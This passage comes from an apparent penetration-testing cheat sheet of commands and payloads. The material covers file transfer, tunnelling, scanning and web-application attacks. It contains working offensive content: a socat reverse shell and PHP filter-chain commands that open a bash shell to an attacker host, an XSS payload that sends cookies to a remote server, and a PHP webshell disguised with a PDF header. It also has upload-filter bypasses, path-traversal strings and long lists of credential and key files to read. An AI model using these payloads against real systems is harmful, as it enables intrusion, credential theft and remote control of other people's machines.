printf "Usage: %s \"URL\" [e.g.: %s http://www.google.com/]" \ "${FUNCNAME[0]}" "${FUNCNAME[0]}" return 1; fi read proto server path <<<$(echo ${URL//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 [[ $DEBUG -eq 1 ]] && echo "HOST=$HOST" [[ $DEBUG -eq 1 ]] && echo "PORT=$PORT" [[ $DEBUG -eq 1 ]] && echo "DOC =$DOC" exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3 while read line; do [[ $mark -eq 1 ]] && echo $line if [[ "${line}" =~ "${tag}" ]]; then mark=1 fi done <&3 exec 3>&- } ``` ```c __wget http://<LHOST>/<FILE> ``` ###### curl version ```c function __curl() { read proto server path <<<$(echo ${1//// }) DOC=/${path// //} HOST=${server//:*} PORT=${server//*:} [[ x"${HOST}" == x"${PORT}" ]] && PORT=80 exec 3<>/dev/tcp/${HOST}/$PORT echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3 (while read line; do [[ "$line" == $'\r' ]] && break done && cat) <&3 exec 3>&- } ``` ```c __curl http://<LHOST>/<FILE> > <OUTPUT_FILE> ``` #### FTP ```c ftp <RHOST> wget -r ftp://anonymous:anonymous@<RHOST> ``` #### Kerberos ```c sudo apt-get install krb5-kdc ``` ```c /etc/krb5.conf // kerberos configuration file location kinit <USERNAME> // creating ticket request klist // show available kerberos tickets kdestroy // delete cached kerberos tickets .k5login // resides kerberos principals for login (place in home directory) krb5.keytab // "key table" file for one or more principals kadmin // kerberos administration console add_principal <EMAIL> // add a new user to a keytab file ksu // executes a command with kerberos authentication klist -k /etc/krb5.keytab // lists keytab file kadmin -p kadmin/<EMAIL> -k -t /etc/krb5.keytab // enables editing of the keytab file ``` #### Ligolo-ng > https://github.com/nicocha30/ligolo-ng ##### Download Proxy and Agent ```c wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz ``` ##### Prepare Tunnel Interface ```c sudo ip tuntap add user $(whoami) mode tun ligolo ``` ```c sudo ip link set ligolo up ``` ##### Setup Proxy on Attacker Machine ```c ./proxy -laddr <LHOST>:443 -selfcert ``` ##### Setup Agent on Target Machine ```c ./agent -connect <LHOST>:443 -ignore-cert ``` ##### Session ```c ligolo-ng » session ``` ```c [Agent : user@target] » ifconfig ``` ```c sudo ip r add 172.16.1.0/24 dev ligolo ``` ```c [Agent : user@target] » start ``` #### Linux ##### CentOS ```c doas -u <USERNAME> /bin/sh ``` ##### Environment Variables ```c export PATH=`pwd`:$PATH ``` ##### gcc ```c gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit i686-w64-mingw32-gcc -o main32.exe main.c x86_64-w64-mingw32-gcc -o main64.exe main.c ``` ##### getfacl ```c getfacl <LOCAL_DIRECTORY> ``` ##### iconv ```c echo "<COMMAND>" | iconv -t UTF-16LE | base64 -w 0 echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0 iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n" ``` ##### vi ```c :w !sudo tee % # save file with elevated privileges without exiting ``` ##### Windows Command Formatting ```c echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0 ``` #### Microsoft Windows ##### dir ```c dir flag* /s /p dir /s /b *.log ``` #### PHP Webserver ```c sudo php -S 127.0.0.1:80 ``` #### Ping ```c ping -c 1 <RHOST> ping -n 1 <RHOST> ``` #### Python Webserver ```c sudo python -m SimpleHTTPServer 80 sudo python3 -m http.server 80 ``` #### RDP ```c xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboard xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +clipboard rdesktop <RHOST> ``` #### showmount ```c /usr/sbin/showmount -e <RHOST> sudo showmount -e <RHOST> chown root:root sid-shell; chmod +s sid-shell ``` #### smbclient ```c smbclient -L \\<RHOST>\ -N smbclient -L //<RHOST>/ -N smbclient -L ////<RHOST>/ -N smbclient -U "<USERNAME>" -L \\\\<RHOST>\\ smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD> smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD> smbclient "\\\\<RHOST>\<SHARE>" smbclient \\\\<RHOST>\\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000 smbclient --no-pass //<RHOST>/<SHARE> mount.cifs //<RHOST>/<SHARE> /mnt/remote guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -v ``` ##### Download multiple files at once ```c mask"" recurse ON prompt OFF mget * ``` #### socat ```c socat TCP-LISTEN:<LPORT>,fork TCP:<RHOST>:<RPORT> ``` ```c socat file:`tty`,raw,echo=0 tcp-listen:<LPORT> socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT> ``` ```c socat tcp-listen:5986,reuseaddr,fork tcp:<RHOST>:9002 socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 & ``` #### SSH ```c ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1 ssh -R 8080:<LHOST>:80 <RHOST> ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST> ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST> ssh -L 80:<LHOST>:80 <RHOST> ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST> ssh -L 80:localhost:80 <RHOST> ``` #### Time and Date ##### Get the Server Time ```c sudo nmap -sU -p 123 --script ntp-info <RHOST> ``` ##### Stop virtualbox-guest-utils to stop syncing Time ```c sudo /etc/init.d/virtualbox-guest-utils stop ``` ##### Stop systemd-timesyncd to sync Time manually ```c sudo systemctl stop systemd-timesyncd ``` ##### Disable automatic Sync ```c sudo systemctl disable --now chronyd ``` ##### Options to set the Date and Time ```c sudo net time -c <RHOST> sudo net time set -S <RHOST> sudo ntpdate -s <RHOST> sudo ntpdate -b -u <RHOST> sudo timedatectl set-timezone UTC sudo timedatectl list-timezones sudo timedatectl set-timezone '<COUNTRY>/<CITY>' sudo timedatectl set-time 15:58:30 sudo timedatectl set-time '2015-11-20 16:14:50' sudo timedatectl set-local-rtc 1 ``` ##### Keep in Sync with a Server ```c while [ 1 ]; do sudo ntpdate <RHOST>;done ``` #### Tmux ```c ctrl b + w # show windows ctrl + " # split window horizontal ctrl + % # split window vertical ctrl + , # rename window ctrl + { # flip window ctrl + } # flip window ctrl + spacebar # switch pane layout ``` Copy & Paste ```c :setw -g mode-keys vi ctrl b + [ space enter ctrl b + ] ``` Search ```c ctrl b + [ # enter copy ctrl + / # enter search while within copy mode for vi mode n # search next shift + n # reverse search ``` Logging ```c ctrl b shift + P # start / stop ``` Save Output ```c ctrl b + : capture-pane -S - ctrl b + : save-buffer <FILE>.txt ``` #### Upgrading Shells ```c python -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' ctrl + z stty raw -echo fg Enter Enter export XTERM=xterm ``` Alternatively: ```c script -q /dev/null -c bash /usr/bin/script -qc /bin/bash /dev/null ``` ### Oneliner ```c stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` #### Fixing Staircase Effect ```c env reset ``` or ```c stty onlcr ``` #### VirtualBox ```c sudo pkill VBoxClient && VBoxClient --clipboard ``` #### virtualenv ```c sudo apt-get install virtualenv virtualenv -p python2.7 venv . venv/bin/activate ``` ```c python.exe -m pip install virtualenv python.exe -m virtualenv venv venv\Scripts\activate ``` ### Information Gathering #### memcached > https://github.com/pd4d10/memcached-cli ```c memcrashed / 11211/UDP npm install -g memcached-cli memcached-cli <USERNAME>:<PASSWORD>@<RHOST>:11211 echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211 STAT pid 21357 STAT uptime 41557034 STAT time 1519734962 sudo nmap <RHOST> -p 11211 -sU -sS --script memcached-info stats items stats cachedump 1 0 get link get file get user get passwd get account get username get password ``` #### NetBIOS ```c nbtscan <RHOST> nmblookup -A <RHOST> ``` #### Nmap ```c sudo nmap -A -T4 -sC -sV -p- <RHOST> sudo nmap -sV -sU <RHOST> sudo nmap -A -T4 -sC -sV --script vuln <RHOST> sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST> sudo nmap -sC -sV -p- --scan-delay 5s <RHOST> sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <RHOST> ls -lh /usr/share/nmap/scripts/*ssh* locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smb ``` #### Port Scanning ```c for p in {1..65535}; do nc -vn <RHOST> $p -w 1 -z & done 2> <FILE>.txt ``` ```c export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done ``` #### snmpwalk ```c snmpwalk -c public -v1 <RHOST> snmpwalk -v2c -c public <RHOST> 1.3.6.1.2.1.4.34.1.3 snmpwalk -v2c -c public <RHOST> .1 snmpwalk -v2c -c public <RHOST> nsExtendObjects snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.25 snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.4.2.1.2 snmpwalk -c public -v1 <RHOST> .1.3.6.1.2.1.1.5 snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.3.1.1 snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.27 snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.6.13.1.3 snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.6.3.1.2 ``` ### Web Application Analysis #### Burp Suite ```c Ctrl+r // Sending request to repeater Ctrl+i // Sending request to intruder Ctrl+Shift+b // base64 encoding Ctrl+Shift+u // URL decoding ``` #### Set Proxy Environment Variables ```c export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=https://localhost:8080 ``` #### Cross-Site Scripting (XSS) ```c <sCrIpt>alert(1)</ScRipt> <script>alert('XSS');</script> <script>alert(document.cookies)</script> <script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script> <script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script> <script>user.changeEmail('user@domain');</script> <iframe src=file:///etc/passwd height=1000px width=1000px></iframe> <img src='http://<RHOST>'/> ``` #### ffuf ```c ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fs <NUMBER> -mc all ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fw <NUMBER> -mc all ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301,302,307,401 -o results.txt ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185 ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<RHOST>/backups/backup_2020070416FUZZ.zip ``` ##### API Fuzzing ```c ffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412 ``` ##### Searching for LFI ```c ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349 ``` ##### Fuzzing with PHP Session ID ```c ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt -u "http://<RHOST>/admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644 ``` ##### Recursion ```c ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/basic/FUZZ -recursion ``` ##### File Extensions ```c ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/ext/logs/FUZZ -e .log ``` ##### Rate Limiting ```c ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http://<RHOST>/cd/rate/FUZZ -mc 200,429 ``` ##### Virtual Host Discovery ```c ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -fs 1495 ``` ##### Massive File Extension Discovery ```c ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>/FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zip ``` #### GitTools ```c ./gitdumper.sh http://<RHOST>/.git/ /PATH/TO/FOLDER ./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/ ``` #### Gobuster ```c -e // extended mode that renders the full url -k // skip ssl certificate validation -r // follow cedirects -s // status codes -b // exclude status codes -k // ignore certificates --wildcard // set wildcard option $ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ $ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php $ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200 $ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcard ``` ##### Common File Extensions ```c txt,bak,php,html,js,asp,aspx ``` ##### Common Picture Extensions ```c png,jpg,jpeg,gif,bmp ``` ##### POST Requests ```c gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://<RHOST>/api/ -e -s 200 ``` ##### DNS Recon ```c gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt ``` ##### VHost Discovery ```c gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain ``` ##### Specifiy User Agent ```c gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linux ``` #### Local File Inclusion (LFI) ```c http://<RHOST>/<FILE>.php?file= http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd ``` ##### Until php 5.3 ```c http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00 ``` ##### Null Byte ```c %00 0x00 ``` ##### Encoded Traversal Strings ```c ../ ..\ ..\/ %2e%2e%2f %252e%252e%252f %c0%ae%c0%ae%c0%af %uff0e%uff0e%u2215 %uff0e%uff0e%u2216 ..././ ...\.\ ``` ##### php://filter Wrapper > https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb > https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion > https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter ```c url=php://filter/convert.base64-encode/resource=file:////var/www/<RHOST>/api.php ``` ```c http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=index http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd base64 -d <FILE>.php ``` ##### Django, Rails, or Node.js Web Application Header Values ```c Accept: ../../../../.././../../../../etc/passwd{{ Accept: ../../../../.././../../../../etc/passwd{%0D Accept: ../../../../.././../../../../etc/passwd{%0A Accept: ../../../../.././../../../../etc/passwd{%00 Accept: ../../../../.././../../../../etc/passwd{%0D{{ Accept: ../../../../.././../../../../etc/passwd{%0A{{ Accept: ../../../../.././../../../../etc/passwd{%00{{ ``` ##### Linux Files ```c /etc/passwd /etc/shadow /etc/aliases /etc/anacrontab /etc/apache2/apache2.conf /etc/apache2/httpd.conf /etc/apache2/sites-enabled/000-default.conf /etc/at.allow /etc/at.deny /etc/bashrc /etc/bootptab /etc/chrootUsers /etc/chttp.conf /etc/cron.allow /etc/cron.deny /etc/crontab /etc/cups/cupsd.conf /etc/exports /etc/fstab /etc/ftpaccess /etc/ftpchroot /etc/ftphosts /etc/groups /etc/grub.conf /etc/hosts /etc/hosts.allow /etc/hosts.deny /etc/httpd/access.conf /etc/httpd/conf/httpd.conf /etc/httpd/httpd.conf /etc/httpd/logs/access_log /etc/httpd/logs/access.log /etc/httpd/logs/error_log /etc/httpd/logs/error.log /etc/httpd/php.ini /etc/httpd/srm.conf /etc/inetd.conf /etc/inittab /etc/issue /etc/knockd.conf /etc/lighttpd.conf /etc/lilo.conf /etc/logrotate.d/ftp /etc/logrotate.d/proftpd /etc/logrotate.d/vsftpd.log /etc/lsb-release /etc/motd /etc/modules.conf /etc/motd /etc/mtab /etc/my.cnf /etc/my.conf /etc/mysql/my.cnf /etc/network/interfaces /etc/networks /etc/npasswd /etc/passwd /etc/php4.4/fcgi/php.ini /etc/php4/apache2/php.ini /etc/php4/apache/php.ini /etc/php4/cgi/php.ini /etc/php4/apache2/php.ini /etc/php5/apache2/php.ini /etc/php5/apache/php.ini /etc/php/apache2/php.ini /etc/php/apache/php.ini /etc/php/cgi/php.ini /etc/php.ini /etc/php/php4/php.ini /etc/php/php.ini /etc/printcap /etc/profile /etc/proftp.conf /etc/proftpd/proftpd.conf /etc/pure-ftpd.conf /etc/pureftpd.passwd /etc/pureftpd.pdb /etc/pure-ftpd/pure-ftpd.conf /etc/pure-ftpd/pure-ftpd.pdb /etc/pure-ftpd/putreftpd.pdb /etc/redhat-release /etc/resolv.conf /etc/samba/smb.conf /etc/snmpd.conf /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_key /etc/ssh/ssh_host_key.pub /etc/sysconfig/network /etc/syslog.conf /etc/termcap /etc/vhcs2/proftpd/proftpd.conf /etc/vsftpd.chroot_list /etc/vsftpd.conf /etc/vsftpd/vsftpd.conf /etc/wu-ftpd/ftpaccess /etc/wu-ftpd/ftphosts /etc/wu-ftpd/ftpusers /logs/pure-ftpd.log /logs/security_debug_log /logs/security_log /opt/lampp/etc/httpd.conf /opt/xampp/etc/php.ini /proc/cmdline /proc/cpuinfo /proc/filesystems /proc/interrupts /proc/ioports /proc/meminfo /proc/modules /proc/mounts /proc/net/arp /proc/net/tcp /proc/net/udp /proc/<PID>/cmdline /proc/<PID>/maps /proc/sched_debug /proc/self/cwd/app.py /proc/self/environ /proc/self/net/arp /proc/stat /proc/swaps /proc/version /root/anaconda-ks.cfg /usr/etc/pure-ftpd.conf /usr/lib/php.ini /usr/lib/php/php.ini /usr/local/apache/conf/modsec.conf /usr/local/apache/conf/php.ini /usr/local/apache/log /usr/local/apache/logs /usr/local/apache/logs/access_log /usr/local/apache/logs/access.log /usr/local/apache/audit_log /usr/local/apache/error_log /usr/local/apache/error.log /usr/local/cpanel/logs /usr/local/cpanel/logs/access_log /usr/local/cpanel/logs/error_log /usr/local/cpanel/logs/license_log /usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/stats_log /usr/local/etc/httpd/logs/access_log /usr/local/etc/httpd/logs/error_log /usr/local/etc/php.ini /usr/local/etc/pure-ftpd.conf /usr/local/etc/pureftpd.pdb /usr/local/lib/php.ini /usr/local/php4/httpd.conf /usr/local/php4/httpd.conf.php /usr/local/php4/lib/php.ini /usr/local/php5/httpd.conf /usr/local/php5/httpd.conf.php /usr/local/php5/lib/php.ini /usr/local/php/httpd.conf /usr/local/php/httpd.conf.ini /usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pure-ftpd.conf /usr/local/pureftpd/etc/pureftpd.pdn /usr/local/pureftpd/sbin/pure-config.pl /usr/local/www/logs/httpd_log /usr/local/Zend/etc/php.ini /usr/sbin/pure-config.pl /var/adm/log/xferlog /var/apache2/config.inc /var/apache/logs/access_log /var/apache/logs/error_log /var/cpanel/cpanel.config /var/lib/mysql/my.cnf /var/lib/mysql/mysql/user.MYD /var/local/www/conf/php.ini /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/apache/error_log /var/log/apache/error.log /var/log/apache-ssl/access.log /var/log/apache-ssl/error.log /var/log/auth.log /var/log/boot /var/htmp /var/log/chttp.log /var/log/cups/error.log /var/log/daemon.log /var/log/debug /var/log/dmesg /var/log/dpkg.log /var/log/exim_mainlog /var/log/exim/mainlog /var/log/exim_paniclog /var/log/exim.paniclog /var/log/exim_rejectlog /var/log/exim/rejectlog /var/log/faillog /var/log/ftplog /var/log/ftp-proxy /var/log/ftp-proxy/ftp-proxy.log /var/log/httpd-access.log /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/httpsd/ssl.access_log /var/log/httpsd/ssl_log /var/log/kern.log /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/mail.info /var/log/mail.log /var/log/maillog /var/log/mail.warn /var/log/message /var/log/messages /var/log/mysqlderror.log /var/log/mysql.log /var/log/mysql/mysql-bin.log /var/log/mysql/mysql.log /var/log/mysql/mysql-slow.log /var/log/proftpd /var/log/pureftpd.log /var/log/pure-ftpd/pure-ftpd.log /var/log/secure /var/log/vsftpd.log /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/mysql.log /var/run/utmp /var/spool/cron/crontabs/root /var/webmin/miniserv.log /var/www/html<VHOST>/__init__.py /var/www/html/db_connect.php /var/www/html/utils.php /var/www/log/access_log /var/www/log/error_log /var/www/logs/access_log /var/www/logs/error_log /var/www/logs/access.log /var/www/logs/error.log ~/.atfp_history ~/.bash_history ~/.bash_logout ~/.bash_profile ~/.bashrc ~/.gtkrc ~/.login ~/.logout ~/.mysql_history ~/.nano_history ~/.php_history ~/.profile ~/.ssh/authorized_keys ~/.ssh/id_dsa ~/.ssh/id_dsa.pub ~/.ssh/id_rsa ~/.ssh/id_rsa.pub ~/.ssh/identity ~/.ssh/identity.pub ~/.viminfo ~/.wm_style ~/.Xdefaults ~/.xinitrc ~/.Xresources ~/.xsession ``` ##### Windows Files ```c C:/Users/Administrator/NTUser.dat C:/Documents and Settings/Administrator/NTUser.dat C:/apache/logs/access.log C:/apache/logs/error.log C:/apache/php/php.ini C:/boot.ini C:/inetpub/wwwroot/global.asa C:/MySQL/data/hostname.err C:/MySQL/data/mysql.err C:/MySQL/data/mysql.log C:/MySQL/my.cnf C:/MySQL/my.ini C:/php4/php.ini C:/php5/php.ini C:/php/php.ini C:/Program Files/Apache Group/Apache2/conf/httpd.conf C:/Program Files/Apache Group/Apache/conf/httpd.conf C:/Program Files/Apache Group/Apache/logs/access.log C:/Program Files/Apache Group/Apache/logs/error.log C:/Program Files/FileZilla Server/FileZilla Server.xml C:/Program Files/MySQL/data/hostname.err C:/Program Files/MySQL/data/mysql-bin.log C:/Program Files/MySQL/data/mysql.err C:/Program Files/MySQL/data/mysql.log C:/Program Files/MySQL/my.ini C:/Program Files/MySQL/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log C:/Program Files/MySQL/MySQL Server 5.0/my.cnf C:/Program Files/MySQL/MySQL Server 5.0/my.ini C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf C:/Program Files (x86)/Apache Group/Apache/conf/access.log C:/Program Files (x86)/Apache Group/Apache/conf/error.log C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml C:/Program Files (x86)/xampp/apache/conf/httpd.conf C:/WINDOWS/php.ini C:/WINDOWS/Repair/SAM C:/Windows/repair/system C:/Windows/repair/software C:/Windows/repair/security C:/WINDOWS/System32/drivers/etc/hosts C:/Windows/win.ini C:/WINNT/php.ini C:/WINNT/win.ini C:/xampp/apache/bin/php.ini C:/xampp/apache/logs/access.log C:/xampp/apache/logs/error.log C:/Windows/Panther/Unattend/Unattended.xml C:/Windows/Panther/Unattended.xml C:/Windows/debug/NetSetup.log C:/Windows/system32/config/AppEvent.Evt C:/Windows/system32/config/SecEvent.Evt C:/Windows/system32/config/default.sav C:/Windows/system32/config/security.sav C:/Windows/system32/config/software.sav C:/Windows/system32/config/system.sav C:/Windows/system32/config/regback/default C:/Windows/system32/config/regback/sam C:/Windows/system32/config/regback/security C:/Windows/system32/config/regback/system C:/Windows/system32/config/regback/software C:/Program Files/MySQL/MySQL Server 5.1/my.ini C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml C:/Windows/System32/inetsrv/config/applicationHost.config C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log ``` #### PDF PHP Inclusion Create a file with a PDF header, which contains PHP code. ```c %PDF-1.4 <?php system($_GET["cmd"]); ?> ``` ```c http://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami ``` #### PHP Upload Filter Bypasses ```c .sh .cgi .inc .txt .pht .phtml .phP .Php .php3 .php4 .php5 .php7 .pht .phps .phar .phpt .pgif .phtml .phtm .php%00.jpeg ``` ```c <FILE>.php%20 <FILE>.php%0d%0a.jpg <FILE>.php%0a <FILE>.php.jpg <FILE>.php%00.gif <FILE>.php\x00.gif <FILE>.php%00.png <FILE>.php\x00.png <FILE>.php%00.jpg <FILE>.php\x00.jpg mv <FILE>.jpg <FILE>.php\x00.jpg ``` #### PHP Filter Chain Generator > https://github.com/synacktiv/php_filter_chain_generator ```c python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>' python3 php_filter_chain_generator.py --chain "<?php echo shell_exec(id); ?>" python3 php_filter_chain_generator.py --chain """<?php echo shell_exec(id); ?>""" python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>"""" python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>"""" ``` ```c http://<RHOST>/?page=php://filter/convert.base64-decode/resource=PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTsgPz4 ``` ```c python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>' [+] The following gadget chain will generate the following code : <?= exec($_GET[0]); ?> (base64 value: PD89IGV4ZWMoJF9HRVRbMF0pOyA/Pg) php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<--- SNIP --->|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=<COMMAND> ``` #### PHP Generic Gadget Chains (PHPGGC) ```c phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/<FILE>.txt /PATH/TO/FILE/<FILE>.txt ``` #### Server-Side Request Forgery (SSRF) ```c https://<RHOST>/item/2?server=server.<RHOST>/file?id=9&x= ``` #### Server-Side Template Injection (SSTI) ##### Fuzz String > https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti ```c ${{<%[%'"}}%\. ``` ##### Magic Payload > https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee ```c {{ ‘’.__class__.__mro__[1].__subclasses__() }} ``` #### Upload Vulnerabilities ```c ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution SVG: Stored XSS / Server-Side Request Forgery GIF: Stored XSS CSV: CSV Injection XML: XXE AVI: Local File Inclusion / Server-Side request Forgery HTML/JS: HTML Injection / XSS / Open Redirect PNG / JPEG: Pixel Flood Attack ZIP: Remote Code Exection via Local File Inclusion PDF / PPTX: Server-Side Request Forgery / Blind XXE ``` #### wfuzz ```c wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php --hc '403,404' ``` ##### Write to File ```c wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404 ``` ##### Custom Scan with limited Output ```c wfuzz -w 